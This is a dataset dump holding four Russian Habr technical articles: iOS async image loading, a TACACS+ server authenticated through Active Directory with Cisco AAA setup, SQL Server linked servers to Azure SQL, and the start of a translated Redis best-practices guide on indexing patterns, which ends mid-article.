text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Асинхронная загрузка в iOS
Наверное на эту тему есть достаточно материалов, в том числе и у Apple, но я опишу свой опыт и приведу свой код.
Задача следующая: для некоторого View, имеющего определенное количество subview в которые можно грузить изображения (UIImageView к примеру), нужно асинхронно загрузить некоторое количество изображений без блокировки основного UI.
Наш класс будет называться ImageLoader и будет иметь протокол ImageLoaderDelegate, что бы иметь возможность сообщить делегату, когда картинка уже «приехала»
**ImageLoader.h**
```
#import
@protocol ImageLoaderDelegate; // Предварительное объявление протокола, что бы не иметь проблем
// с объявлением свойства delegate
@interface ImageLoader : NSObject {
id delegate; // Свойство для задания делегата
int index; // Свойство для упрощения обработки полученной картинки в делегате
NSMutableData *activeDownloadData; // Буфер для данных
}
@property (nonatomic, assign) id delegate;
@property (nonatomic) int index;
- (void)loadImage:(NSString *)imageURLString; // Метод, который грузит катринку.
// Принимает на вход URL на картинку
@end
@protocol ImageLoaderDelegate
- (void) appImageDidLoad:(UIImage *)image index:(int)index; // Метод делегата, вызываемый по получению файла
@end
```
**ImageLoader.m**
```
#import "ImageLoader.h"
@implementation ImageLoader
@synthesize delegate, index;
- (void)loadImage:(NSString *)imageURLString {
NSURL *imgURL = [NSURL URLWithString:imageURLString];
NSMutableURLRequest *request = [NSURLRequest requestWithURL:imgURL];
NSURLConnection *newConnection = [[NSURLConnection alloc] initWithRequest:request delegate:self];
if (newConnection) {
activeDownloadData = [[NSMutableData data] retain]; // Важный момент - сделать retain
}
}
- (void)connection:(NSURLConnection *)connection didReceiveResponse:(NSURLResponse *)response {
[activeDownloadData setLength:0]; //Если есть отклик от сервера, ставим буфер в 0
}
- (void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data {
[activeDownloadData appendData:data]; // Собираем данные файла
}
- (void)connection:(NSURLConnection *)connection didFailWithError:(NSError *)error{
[connection release];
[activeDownloadData release];
}
- (void)connectionDidFinishLoading:(NSURLConnection *)connection {
UIImage *image = [UIImage imageWithData:activeDownloadData]; // Создаем из данных каритнку
if (delegate != nil) {
[delegate appImageDidLoad:image index:index]; // Вызываем метод делегата
}
else {
activeDownloadData = nil;
NSLog(@"Can't find delegate for ImageLoader");
}
[activeDownloadData release];
[connection release];
}
- (void)dealloc {
[super dealloc];
}
@end
```
Остается только вставить изображение в нужный view.
Один из вариантов я привожу ниже. Он использует свойство лоадера index что бы добраться до нужного view у которого свойство tag имеет такой же индекс.
Само собой в заголовочном файле нужно сделать наш класс делегатом для ImageLoader добавив в строку [interface](http://habrahabr.ru/users/interface/)
```
...
- (void)viewDidLoad {
[super viewDidLoad];
viewIndex = 0;
NSArray *imageUrls = [NSArray arrayWithObjects: // Массив ссылок к картинкам
@"http://cdn5.iconfinder.com/data/icons/toys/128/teddy_bear_toy_1.png",
@"http://cdn5.iconfinder.com/data/icons/toys/128/teddy_bear_toy_4.png",
@"http://cdn5.iconfinder.com/data/icons/toys/128/teddy_bear_toy_5.png", nil];
for (NSString *imgURL in imageUrls) {
ImageLoader *loader = [[ImageLoader alloc] init]; // Создаем экземпляр загрузчика
UIImageView *imgView = [[UIImageView alloc] initWithFrame:CGRectMake(10+(100*viewIndex), 50, 100, 100)];
[imgView setTag:viewIndex]; // Ставим таг у ImgView в соотвествие с индексом картинки
[[self view] addSubview:imgView];
[imgView release];
[loader setIndex:viewIndex]; // Задаем индекс для экземпляра загрузчика
[loader setDelegate:self]; // Задаем делегатом этот же класс
[loader loadImage:imgURL]; // Собственно грузим картинку
[loader release];
viewIndex++;
}
}
- (void)appImageDidLoad:(UIImage* )image index:(int)index { // Метод делегата ImageLoader
for (UIView *tmp in [self view].subviews) { // Для всех subview в текущем view ищем UIImageView c tag = index
if ([tmp isKindOfClass:[UIImageView class]] && tmp.tag == index) {
[(UIImageView *)tmp setImage:image]; // Задаем свойство изображения
}
}
}
...
```
Надеюсь материал кому-то будет полезен. | https://habr.com/ru/post/125510/ | null | ru | null |
# TACACS+ на Linux с аутентификацией через Active Directory
В сети присутствует множество различных гайдов на эту тему, но поднять сервис на Linux и связать его с Active Directory в течении 30-60 минут не удалось. Предлагаю свой путь решения задачи, с подробными комментариями.
Приступим к установке сервиса. В качестве ОСи используется CentOS.
**Устанавливаем необходимые служебные пакеты**
```
# yum install gcc
# yum install perl-LDAP
# yum install bind-utils
```
Все операции производим под «root»
(соответственно домашняя директория /root)
**Установка Tac Plus**
```
# yum install wget
# wget http://www.pro-bono-publico.de/projects/src/DEVEL.tar.bz2
# tar xvfj ./DEVEL.tar.bz2
# cd ./PROJECTS
# ./configure
# make
# make install
```
**Добавляем директории для файлов аккаунтинга**
```
# mkdir /var/log/tac_plus
# mkdir /var/log/tac_plus/access
# mkdir /var/log/tac_plus/acct
# chmod 760 -R /var/log/tac_plus/
```
**Добавляем Tac Plus в автозагрузку**
```
# cp /root/PROJECTS/tac_plus/extra/etc_init.d_tac_plus /etc/init.d/tac_plus
# chmod 755 /etc/init.d/tac_plus
# chkconfig --add tac_plus
# chkconfig --level 2345 tac_plus on
```
**Проверка включения в автозагрузку**
```
# chkconfig --list | grep tac_plus
```
**Правим конфигурационный файл**
```
# cp /root/PROJECTS/tac_plus/extra/tac_plus.cfg-ads /usr/local/etc/tac_plus.cfg
# chmod 660 /usr/local/etc/tac_plus.cfg
```
**!!! После каждого изменения конфига сервис должен быть перезапущен (service tac\_plus restart)**
Пример рабочего конфигурационного файла (нужно заменить содержимое tac\_plus.cfg, предварительно внеся коррективы в прокомментированные поля)
```
#!/usr/local/sbin/tac_plus
id = spawnd {
listen = { port = 49 } #порт, используемый сервисом TACACS
spawn = {
instances min = 1
instances max = 10
}
background = yes
}
id = tac_plus {
# лог файлы
access log = ">/var/log/tac_plus/access/%Y%m%d.log"
accounting log = ">/var/log/tac_plus/acct/%Y%m%d.log"
# блок настройки подключения к Active Directory
mavis module = external {
setenv LDAP_SERVER_TYPE = "microsoft"
setenv LDAP_HOSTS = "ldaps://domain.name:636" # имя домена должно разрешаться DNS-сервером (проверить с помощью nslookup). Вместо имени можно использовать IP адрес
setenv LDAP_SCOPE = sub
setenv LDAP_BASE = "dc=domain,dc=name" # где искать пользователей
setenv LDAP_FILTER = "(&(objectclass=user)(sAMAccountName=%s))"
setenv LDAP_USER = "aduser@domain.name" # служебный юзер для интеграции с AD
setenv LDAP_PASSWD = "passw0rd" # пароль юзера
#setenv AD_GROUP_PREFIX = tacacs
#setenv REQUIRE_TACACS_GROUP_PREFIX = 1
#setenv USE_TLS = 0
setenv FLAG_USE_MEMBEROF = 1
exec = /usr/local/lib/mavis/mavis_tacplus_ldap.pl
}
login backend = mavis
user backend = mavis
#pap backend = mavis
host = world {
address = ::/0
welcome banner = ""
#Crypt password generate by "openssl passwd -1 clear_text_password"
enable 15 = crypt $1$eqIkg6p0$jzhK5.
key = "TACACSPASSWORD" #пароль для связки с TACACS-клиентом
}
# группу администрирования наделяем правами суперадмина
group = ADMIN {
message = "[Admin privileges]"
default service = permit
service = shell {
default command = permit
default attribute = permit
set priv-lvl = 15
}
}
# группе голосовых админов даем полный набор привелегий и запрещаем конкретные команды
group = VOIP {
message = "[VoIP-admin privileges]"
default service = permit
service = shell {
default command = permit
default attribute = permit
set priv-lvl = 15
cmd = interface {
permit "Lo*"
permit "Se*"
deny .*
}
cmd = aaa { deny .* }
cmd = username { deny .* }
cmd = line { deny .* }
cmd = delete { deny .* }
#cmd = reload { deny .* }
cmd = boot { deny .* }
cmd = enable { deny .* }
cmd = archive { deny .* }
cmd = router { deny .* }
cmd = ip {
permit "address *"
deny .*
}
cmd = tacacs-server { deny .* }
cmd = radius-server { deny .* }
cmd = privilege { deny .* }
cmd = erase { deny .* }
cmd = write {
permit "memory"
deny .*
}
cmd = format { deny .* }
}
}
}
```
**Проверяем правильность конфига (если все ОК, то ничего не выведет)**
```
# /usr/local/sbin/tac_plus -P /usr/local/etc/tac_plus.cfg
```
**Создаем группы в AD**
В Active Directory необходимо создать 2 группы (исходя из нашего конфига): tacacsadmin и tacacsvoip.
Tac Plus отрезает префикс «tacacs» при соотношении группы, указанной в AD, группе в конфиге и переводит оставшиеся символы в верхний регистр.
Таким образом tacacsadmin соответвствует ADMIN, а tacacsvoip соответствует VOIP (изменить данное поведение можно поигравшись атрибутами: AD\_GROUP\_PREFIX и REQUIRE\_TACACS\_GROUP\_PREFIX в конфиге).
Группы указаны в конфиге большими буквами не случайно!
Добавляем пользователей в созданные группы.
**Запуск и остановка сервиса TACACS**
```
# service tac_plus start
# service tac_plus stop
# service tac_plus restart
```
**Конфигурация сервиса AAA на оборудовании Cisco**
```
tacacs server TACSRV1
!IP-адрес tacacs-сервера
address ipv4 172.16.2.2
!ключ должен совпадать с тем, что указан в конфиге на сервере
key TACACSPASSWORD
timeout 2
!
aaa new-model
aaa group server tacacs+ TACSERVICE
server name TACSRV1
aaa authentication login default group TACSERVICE local
aaa authentication login CONSOLE local
aaa authentication enable default group TACSERVICE enable
aaa authorization config-commands
aaa authorization exec default group TACSERVICE local
aaa authorization exec CONSOLE local
aaa authorization commands 15 default group TACSERVICE local
aaa accounting commands 15 default start-stop group TACSERVICE
!
line con 0
login authentication CONSOLE
line vty 0 15
```
**Методика дебага**
1. Проверка работы модулей LDAP (должно вернуть пустую строку без ошибок). Ошибки в случае не установленного пакета perl-LDAP.
```
# env LDAP_HOSTS="172.16.1.1" LDAP_SERVER_TYPE="microsoft" /usr/local/lib/mavis/mavis_tacplus_ldap.pl
2. Проверка связки TACACS - LDAP. Должно вернуть в поле RESULT - ACK. В случае ошибки проверить блок конфига, ответственный за интеграцию с AD.
# /usr/local/bin/mavistest /usr/local/etc/tac_plus.cfg tac_plus TACPLUS
```
3. Проверка, что сервис запущен и слушает порт tcp 49
```
# netstat -nlp | grep tac_plus
```
4. Для того, чтобы увидеть обращения к сервису
```
# tcpdump -nn port 49
```
5. Дебаг запросов обрабатываемых сервисом
```
# /usr/local/sbin/tac_plus -d 4088 -fp /var/run/tac_plus.pid /usr/local/etc/tac_plus.cfg
```
Благодарю за внимание!
**Источники информации и вспомогательные ссылки:**
[http://packetroute.wordpress.com/2012/12/12/tacacs-ad-centos-free/](http://habrahabr.ru/post/194750/)
<http://www.pro-bono-publico.de/projects/howto-tac_plus-ads.html>
<http://habrahabr.ru/post/194750/> | https://habr.com/ru/post/217669/ | null | ru | null |
# Работа с SQL Server в сценариях гибридного Облака
Гибридное Облако является достаточно привлекательной моделью при внедрении облачных вычислений в информационные системы предприятий, поскольку этот подход сочетает преимущества публичного и частного облака. С одной стороны, достигаются возможности гибкого привлечения внешних ресурсов по мере надобности и сокращения инфраструктурных издержек, с другой — сохраняется полный контроль за данными и приложениями, которые предприятие не хочет отдавать наружу. Однако в подобном сценарии мы неизбежно сталкиваемся с задачей интеграции данных из различных источников. Предположим, имеется таблица клиентов, которую мы вертикально разбили на две части. Обезличенная часть была отнесена в публичное облако, а персонифицирующая клиентов информация осталась в локальной базе. Для целостной обработки внутри приложения необходимо снова соединить обе части по CustomerID. Возможны различные способы это сделать. Условно их можно разбить на две большие категории: объединение данных на уровне on-premise сервера БД, который в этом случае будет выступать единой точкой входа для доступа к локальным и удаленным данным, и внутри бизнес-логики. В этой статье будет рассмотрен первый подход.
В случае SQL Server для доступа к гетерогенным источникам данных, начиная с версии 7.0, традиционно используется механизм связанных серверов (linked servers). Используя этот механизм, нам нужно получить данные из облачной базы. Как известно, в облаке Windows Azure база данных SQL Server может быть представлена в двух ипостасях: Windows Azure SQL Database (SQL Azure) — это PaaS-решение — и как обычная база данных на обычном SQL Server, установленном на размещенной в Azure виртуальной машине — IaaS. Последний случай идейно ничем не отличается от соединения с другим экземпляром SQL Server. Создание связанного сервера на него не составляет труда и давно [описано в документации](http://technet.microsoft.com/ru-ru/library/ff772782.aspx). Разберем случай создания связанного сервера на SQL Azure. На самом деле, соединение с облачной базой ничуть не сложнее, чем присоединиться к обычному SQL Server; необходимо только не упускать из вида специфику SQL Azure:
— Используется строго сетевая библиотека TCP/IP, порт не назначается динамически, он всегда 1433.
— В SQL Azure действует только стандартная модель аутентификации.
— Все соединения с SQL Azure в обязательном порядке шифруются на основе TLS (SSL), что соответствует добавлению в строку соединения свойств Encrypt=True;TrustServerCertificate=true. Их можно не указывать в явном виде, они будут добавлены автоматически.
— Имя сервера = <имя сервера SQL Azure>.database.windows.net.
— В SQL Azure нет команды USE. Строго говоря, она есть, но применяется сугубо в случае шардинга, что означает, что необходимо соединяться сразу с нужной базой.
— Также необходимо учитывать firewall rules в конфигурации сервера SQL Azure, которые оговаривают белый список диапазона адресов, с которых разрешается устанавливать соединение.
Принимая сказанное в учет, остается выбрать прикладной интерфейс доступа, в качестве которого может использоваться SQL Server Native Client, либо ODBC.
Для выполнения демонстрационного примера используется облачный вариант модельной базы данных AdventureWorks2012, взять которую можно [здесь](http://msftdbprodsamples.codeplex.com/releases/view/37304).
Открываем SQL Server Management Studio, соединяемся с локальным SQL Server и создаем на нем связанный сервер на SQL Azure, используя нативного клиента:
```
if exists (select 1 from sys.servers where name = 'SQLAzure_NCli') exec sp_dropserver @server = 'SQLAzure_NCli', @droplogins = 'droplogins'
go
exec sp_addlinkedserver
@server='SQLAzure_NCli',
@srvproduct='',
@provider='sqlncli',
@datasrc='u1qgtaf85k.database.windows.net',
@location='',
@provstr='',
@catalog='AdventureWorks2012'
go
exec sp_addlinkedsrvlogin
@rmtsrvname = 'SQLAzure_NCli',
@useself = 'false',
@rmtuser = 'alexejs',
@rmtpassword = 'Password'
go
```
Скрипт 1
где u1qgtaf85k- имя сервера SQL Azure, которое было сгенерировано автоматически при его создании. Тестируем, что мы действительно можем с ним соединиться со стороны локального сервера и получить с него данные:
```
select CustomerID, AccountNumber from SQLAzure_NCli.AdventureWorks2012.Sales.Customer where CustomerID between 1 and 100
```
Скрипт 2
Результат показан на Рис.1
Рис.1
Обладая соответствующими правами, можно со стороны локального сервера выполнять не только чтение данных SQL Azure, но и запросы на модификацию данных, а также DDL-запросы. Например, создадим в БД SQL Azure таблицу и вставим в нее данные:
```
exec sp_serveroption 'SQLAzure_NCli', 'rpc out', true
exec ('CREATE TABLE TestTbl(fld1 int not null CONSTRAINT PK_fld1 PRIMARY KEY CLUSTERED (fld1) )') at SQLAzure_Ncli
exec ('INSERT INTO TestTbl VALUES (1), (2), (3)') at SQLAzure_NCli
```
Скрипт 3
Рис.2
С помощью Azure Management Portal можно убедиться, что таблица действительно создалась и записи в нее добавились:
Рис.3
Создание связанного сервера через ODBC требует предварительного создания DSN. Идем в Control Panel\System and Security\Administrative Tools -> Data Sources (ODBC) или просто запускаем odbcad32.exe и создаем источник данных на SQL Azure, как показано на Рис.4 — 9.
Рис.4
Рис.5
Рис.6
Рис.7
Рис.8
Рис.9
Можно автоматизировать процесс импортом в реестр (regedit.exe) примерно такого .REG-файла:
`[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI]
[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\SQLAzure]
"Driver"="C:\\Windows\\system32\\sqlncli10.dll"
"Server"="u1qgtaf85k.database.windows.net"
"LastUser"=“alexejs"
"Database"=“AdventureWorks2012"
[HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC Data Sources]
“SQLAzure"="SQL Server Native Client 10.0“`
Скрипт 4
Создание связанного сервера на ODBC-источник в этом случае будет выглядеть следующим образом:
```
if exists (select 1 from sys.servers where name = 'SQLAzure_ODBC') exec sp_dropserver @server = 'SQLAzure_ODBC', @droplogins = 'droplogins‘
go
exec sp_addlinkedserver @server = 'SQLAzure_ODBC', @srvproduct = 'Any', @provider = 'MSDASQL', @datasrc = 'SQLAzure', @catalog='AdventureWorks2012'
go
exec sp_addlinkedsrvlogin @rmtsrvname = 'SQLAzure_ODBC', @useself = 'false', @rmtuser = 'alexejs', @rmtpassword = 'Password'
```
Скрипт 5
Проверяем, что все работает:
```
select * from openquery(SQLAzure_ODBC, 'select * from sys.tables')
```
Скрипт 6
Рис.10
Независимо от способа создания прилинкованного сервера дальнейшее очевидно. Связываем таблицу клиентов в БД на локальном сервере с таблицей клиентов в БД SQL Azure:
```
select c.CustomerID, c.AccountNumber, p.FirstName, p.LastName from openquery(SQLAzure_NCli, 'select CustomerID, AccountNumber from Sales.Customer where CustomerID between 1 and 100') c join Person.Person p on c.CustomerID = p.BusinessEntityID order by c.CustomerID
```
Скрипт 7
Рис.11
Следует отметить, что, как всегда в случае связанного сервера, предпочтительней использовать функцию OpenQuery(), чем обращаться к нему по имени с 4-частной нотацией, чтобы не тащить на локальный сервер максимальный рекордсет, а по возможности распараллелить работу, производя фильтрацию (джойны, группировки и т.д., если будут на той стороне) средствами удаленных ресурсов. | https://habr.com/ru/post/200168/ | null | ru | null |
# Redis Best Practices, часть 1
В серии из нескольких статей я приведу свой адаптированный перевод раздела [Redis Best Practices](https://redislabs.com/redis-best-practices/) с официального сайта «Redis Labs».
Вторая часть находится [здесь](https://habr.com/ru/post/487570/).
А третья [здесь](https://habr.com/ru/post/506594/).
Redis Best Practices
--------------------
Redis можно использовать бесчисленным количеством способов, однако, есть несколько паттернов, с помощью которых можно решать часто возникающие проблемы. Мы собрали коллекцию общих паттернов, которые мы считаем *best practices* для решения этих проблем. Эта коллекция не является исчерпывающей и не представляется как набор единственных способов использования Redis, но мы надеемся, она послужит отправной точкой для решения проблем с помощью Redis.
Это руководство по best practices мы разделили на главы и подглавы по мере необходимости (Прим. переводчика: некоторые подглавы короткие, поэтому я объединю их в одну):
* в главе «Паттерны индексирования» мы рассмотрим способы выйти за рамки обычного доступа «ключ-значение» с Redis. Туда входят способы умного использования паттернов на ключах с использованием различных типов данных Redis, чтобы помочь не только в поиске данных, но и снизить сложность доступа;
* глава «Паттерны взаимодействия» сфокусирована на паттернах Redis, которые перемещают данные по инфраструктуре. В этом случае Redis выступает не как хранилище, а скорей как направляющая для данных;
* глава «Паттерны хранения данных» описывают методы как сохранять сложные представления данных в Redis. Мы вычислим сложные сценарии документов, которые могут быть обобщены на простые и сложные способы;
* паттерны, касающиеся данных о времени, описаны в главе «Паттерны временных последовательностей»;
* ограничение пропускной способности часто используется в Redis. В главе «Базовый паттерн ограничения пропускной способности» мы перейдём к основам вариантов его использования;
* фильтр Блума давно встречается в Redis, и в главе «Фильтр Блума» мы рассмотрим вероятностные структуры данных и чем они отличаются от их невероятностных аналогов;
* счётчик – удивительно глубокий приём. В отдельной главе мы исследуем, как высчитать активность и уникальные элементы эффективными вычислительными способами;
* наконец мы поговорим о том, как задействовать Lua, чтобы заставить Redis делать больше с меньшими затратами.
Это руководство непоследовательно, поэтому можете начинать его с любой главы. Также можете пользоваться навигацией в начале каждого поста, чтобы найти что-то подходящее.
Паттерны индексирования
-----------------------
Концептуально Redis – база данных, базирующаяся на парадигме «ключ/значение», когда каждая порция данных ассоциируется с неким ключом. Если вы хотите получить данные по чему-то кроме ключа, вам нужно будет реализовать индекс, который использует один из многих типов данных, доступных в Redis.
Индексирование в Redis довольно сильно отличается от того, что представлено в других базах данных, поэтому ваши собственные сценарии использования и данные определят лучшую стратегию для индексирования. В этой главе мы рассмотрим некоторые общие стратегии поиска данных помимо простого получения по «ключу/значению»:
* сортированные множества как индексы;
* лексикографические индексы;
* геопространственные индексы;
* IP-геолокация;
* полнотекстовый поиск;
* партиционированные индексы.
### Сортированные множества как индексы
Сортированные множества (ZSETs) — стандартный тип данных в Redis, который представляет множество уникальных объектов (повторения не сохраняются), где каждый объект закреплён за числом (называемое «счёт»), которое выступает как естественный механизм сортировки. И хотя объекты не могут повторяться, любые несколько объектов могут иметь одинаковый счёт. При относительно невысокой временной сложности на добавление, удаление и получение диапазона значений (по рангу или счёту) сортированные множества вполне пригодны для того, чтобы быть индексами. В качестве примера возьмём страны мира, ранжированные по населению:
```
> ZADD countries-by-pop 1409517397 china
> ZADD countries-by-pop 146573899 russia
> ZADD countries-by-pop 81456724 germany
> ZADD countries-by-pop 333016381 usa
> ZADD countries-by-pop 1 mars
> ZADD countries-by-pop 37290812 afghanistan
> ZADD countries-by-pop 1388350202 india
```
Получить топ-5 стран будет просто:
```
> ZRANGE countries-by-pop 0 4
1) "mars"
2) "afghanistan"
3) "germany"
4) "russia"
5) "india"
```
А получение стран с населением между 10000000 и 1000000000:
```
> ZRANGEBYSCORE countries-by-pop 10000000 1000000000
1) "afghanistan"
2) "germany"
3) "russia"
```
Можно создать несколько индексов, чтобы продемонстрировать разные способы сортировки данных. В нашем примере мы могли бы использовать те же объекты, но вместо количества людей взять плотность населения, географические размеры, количество пользователей Интернет и т.д. Это создаст высокопроизводительные индексы для разных аспектов. Кроме того, деля имя объекта с данными о нём, хранящимися либо в Redis (в Hash, например), либо в другом хранилище данных, вторичный процесс мог бы получить дополнительную информацию о каждом элементе по мере необходимости.
### Лексикографические индексы
Сортированные множества (ZSETs) с ранжированием по счёту имеют одно интересное свойство, которое может быть использовано для создания механизма грубой алфавитной сортировки. Свойство заключается в том, что объекты с одинаковым счётом могут быть возвращены в лексикографическом порядке и по граничным значениям. Возьмём следующие данные:
```
> ZADD animal-list 0 bison 0 boa 0 dog 0 emu 0 falcon 0 alligator 0 chipmunk
```
Эта команда добавит нескольких животных к ключу animal-list. У каждый объекта счёт 0. Выполнив команду ZRANGE с аргументами 0 и -1, увидим любопытный порядок:
```
> ZRANGE animal-list 0 -1
1) "alligator"
2) "bison"
3) "boa"
4) "chipmunk"
5) "dog"
6) "emu"
7) "falcon"
```
Несмотря на то, что элементы были добавлены не в алфавитном порядке, они оказались возвращены отсортированными по алфавиту. Такой порядок является результатом двоичного сравнения строк, побайтового. Это значит, что ASCII-символы вернутся в алфавитном порядке. Это говорит о следующем:
* символы в нижнем и верхнем регистрах не будут распознаны как одинаковые;
* многобайтовые символы будут отсортированы не как ожидается.
Redis также предоставляет некоторые продвинутые возможности для дальнейшего сужения лексикографического поиска. Например, мы хотим вернуть животных, начинающихся с *b* и заканчивающихся на *e*. Мы можем использовать следующую команду:
```
> ZRANGEBYLEX animal-list [b (f
1) "bison"
2) "boa"
3) "chipmunk"
4) "dog"
5) "emu"
```
Аргумент *(f* может немного смутить. Это важный момент, потому что Redis не имеет никакого понятия о буквальном понимании букв алфавита. Это значит, что мы должны учитывать, что всё начинающееся с *e* всегда будет стоять до всего начинающегося с *f*, независимо от последующих букв. Другое примечание заключается в том, что квадратная скобка указывает на поиск с включением, а круглая на поиск без включения. В нашем случае, если мы запрашиваем с *b*, это будет включено в список, тогда как *f* не появится в выборке. Если вам нужны все элементы до конца, используйте закодированный последний символ (255 или 0xFF):
```
> ZRANGEBYLEX animal-list [c "[\xff"
1) "chipmunk"
2) "dog"
3) "emu"
4) "falcon"
```
Эту команду можно также ограничить, обеспечив тем самым постраничный вывод:
```
> ZRANGEBYLEX animal-list [b (f LIMIT 0 2
1) "bison"
2) "boa"
> ZRANGEBYLEX animal-list [b (f LIMIT 2 2
1) "chipmunk"
2) "dog"
```
Единственный подводный камень, что временная сложность будет расти по мере увеличения отступа (первый аргумент после LIMIT). Поэтому, если у вас 1 миллион объектов и вы пытаетесь получить последние два, это потребует обхода всего миллиона.
### Геопространственные индексы
У Redis есть несколько команд, связанных с геопространственным индексированием (GEO команды), но, в отличие от других команд, у этих команд нет собственных типов данных. Эти команды на самом деле дополняют тип сортированного множества. Это достигается кодированием широты и долготы в счёт (score) сортированного множества, используя алгоритм геохэша.
Добавить элементы к геоиндексу легко. Предположим, вы отслеживаете группу автомобилей, которые едут по дороге. Назовём это множество машин просто «cars». Скажем, что ваша особая машина может быть идентифицирована как объект «my-car» (мы используем термин «объект», потому что геоиндекс просто форма множества). Чтобы добавить машину ко множеству, мы можем выполнить команду:
```
> GEOADD cars -115.17087 36.12306 my-car
```
Первый аргумент – множество, к которому добавляем, второй – широта, третий – долгота и четвёртый – имя объекта.
Чтобы обновить местоположение машины, нужно просто выполнить команду снова с новыми координатами. Это работает, потому что геоиндекс – это просто множество, где повторяющиеся элементы непозволительны.
```
> GEOADD cars -115.17172 36.12196 my-car
```
Добавим вторую машину к «cars». На этот раз ведёт её Володя:
```
> GEOADD cars -115.171971 36.120609 volodias-car
```
Взглянув на координаты, вы можете сказать, что это машины довольно недалеко друг от друга, но насколько? Вы можете определить это командой GEODIST:
```
> GEODIST cars my-car volodias-car
"151.9653"
```
Это значит, что два транспортных средства примерно в 151 метре друг от друга. Можно посчитать также в других единицах измерения:
```
> GEODIST cars my-car robins-car ft
"498.5737"
```
Это вернуло то же самое расстояние в футах. Вы также можете использовать мили (ml) или километры (km).
Сейчас давайте посмотрим, кто есть в радиусе определённой точки:
```
> GEORADIUS cars -115.17258 36.11996 100 m
1) "volodias-car"
```
Это вернуло всех в радиусе 100 метров вокруг указанной точки. Можно также запросить всех в радиусе какого-либо объекта из множества:
```
> GEORADIUSBYMEMBER cars volodias-car 152 m
1) "volodias-car"
2) "my-car"
```
Мы можем также включить дистанцию, добавив необязательный аргумент WITHDIST (это работает для GEORADIUS или GEORADIUSBYMEMBER):
```
> GEORADIUSBYMEMBER cars volodias-car 152 m WITHDIST
1) 1) "volodias-car"
2) "0.0000"
2) 1) "my-car"
2) "151.9653"
```
Другой необязательный аргумент для GEORADIUS и GEORADIUSBYMEMBER – WITHCOORD, который возвращает координаты каждого объекта. WITHDIST и WITHCOORD можно использовать вместе или по отдельности:
```
> GEORADIUSBYMEMBER cars volodias-car 152 m WITHDIST WITHCOORD
1) 1) "volodias-car"
2) "0.0000"
3) 1) "-115.17197102308273315"
2) "36.12060917648089031"
2) 1) "my-car"
2) "151.9653"
3) 1) "-115.17171889543533325"
2) "36.12196018285882104"
```
Так как геопространственные индексы – это просто альтернатива сортированным множествам, можно пользоваться некоторыми операторами последних. Если мы хотим удалить «my-car» из множества «cars», можно использовать команду сортированного множества ZREM:
```
> ZREM cars my-car
```
Redis предоставляет богатый набор инструментов для работы с геопространством, и в этом разделе мы рассмотрели только базовые из них.
### IP-геолокация
Нахождение фактического местоположения подключённого сервиса может быть очень полезным. Таблицы IP-геолокации, как правило, довольно велики и ими сложно эффективно управлять. Мы можем использовать сортированные множества, чтобы реализовать быстрые и эффективные сервисы IP-геолокации.
На IPv4 люди чаще всего ссылаются в десятичной нотации (74.125.43.99, например). Однако сетевые сервисы видят этот же самый адрес как 32-битное число, причём каждый байт представляет одно из четырёх чисел в десятичной форме. Пример выше будет 0x4A7D2B63 в шестнадцатеричном виде или 1249717091 в десятичном.
Наборы данных IP-геолокации широко доступны и обычно имеют форму простой таблицы с тремя колонками (начало, конец, местоположение). Начало и конец – десятичное представление IPv4. В Redis мы можем адаптировать сортированные множества под этот формат, потому что в диапазонах IP отсутствуют «дыры», следовательно, можно с уверенностью допустить, что конец одного диапазона – это начало другого.
Для простого примера добавим несколько диапазонов в сортированные множества:
```
> ZADD ip-loc 1249716479 us:1
> ZADD ip-loc 1249716735 taiwan:1
> ZADD ip-loc 1249717759 us:2
> ZADD ip-loc 1249718015 finland:1
```
Первый аргумент – ключ нашего множества, второй – десятичное предствление конца IP-диапазона, и последний – собственно, сам объект. Обратите внимание, что объект множества имеет число после двоеточия. Это просто для облегчения примера. В реальных IP-таблицах для каждого диапазона свои уникальные идентификаторы (и больше дополнительной информации, чем просто название страны).
Чтобы запросить таблицу к данному IP-адресу, мы можем использовать команду ZRANGEBYSCORE с несколькими дополнительными аргументами. Возьмём IP-адрес и конвертируем его в десятичный вид. Это можно сделать средствами вашего языка программирования. Для начала используем адрес из исходного примера 74.125.43.99 (1249717091). Если мы возьмём это число в качестве начало отсчёта и не укажем максимум, а затем ограничим результат только до первого объекта, мы найдём его геоположение:
```
> ZRANGEBYSCORE ip-loc 1249717091 +inf LIMIT 0 1
1) "us:2"
```
Первый аргумент – ключ нашего сортированного множества, второй – десятичное представление IP-адреса, третий (+inf) говорит Redis запрашивать без верхней границы, и последние три аргумента просто указывают, что мы хотим получить только самый первый результат.
### Полнотекстовый поиск
До появления модулей полнотекстовый поиск был реализован с использованием собственных команд Redis. Модуль RedisSearch намного более производительный, чем этот паттерн, однако, в некоторых окружениях он недоступен. Кроме того, этот паттерн очень интересен и может быть обобщён для других рабочих нагрузок, в которых RedisSearch будет не идеален.
Допустим, у нас есть несколько текстовых документов, по которым нужно произвести поиск. Это может быть неочевидный use-case для Redis, так как он осуществляет доступ по ключам, но, с другой стороны, Redis может быть использован как совершенно новый полнотекстовый поисковый движок.
Сначала возьмём несколько примерных текстов в документах:
*“Redis is very fast”*
*“Cheetahs are fast”*
*“Cheetahs have spots”*
Разделим их на наборы слов, разделённых пробелом для простоты:
```
> SADD ex1 redis is very fast
> SADD ex2 cheetahs are very fast
> SADD ex3 cheetahs have spots
```
Обратите внимание, что мы помещаем каждую строку в своё собственное множество. Может показаться, что мы просто добавляем всю строку – SADD является вариативным и принимает сразу несколько элементов в качестве аргументов. Мы также перевели все слова в нижний регистр.
Затем нам нужно инвертировать этот индекс и показать, какое слово в каком документе содержится. Для этого мы сделаем множество для каждого слова и поместим имя документа в качестве объекта:
```
> SADD redis ex1
> SADD is ex1
> SADD very ex1 ex2
> SADD fast ex1 ex2
> SADD cheetahs ex2 ex3
> SADD have ex3
> SADD spots ex3
```
Для ясности мы разделили это на разные команды, но все команды обычно выполняются атомарно в блоке MULTI/EXEC.
Чтобы запросить наш крошечный полнотекстовый индекс, мы используем команду SINTER (пересечение множеств). Найти документы с «very» и «fast»:
```
> SINTER very fast
1) "ex2"
2) "ex1"
```
В случае, когда нет документов, соответствующих запросу, мы получим пустой результат:
```
> SINTER cheetahs redis
(empty list or set)
```
Для логичности лучше использовать SUNION вместо SINTER:
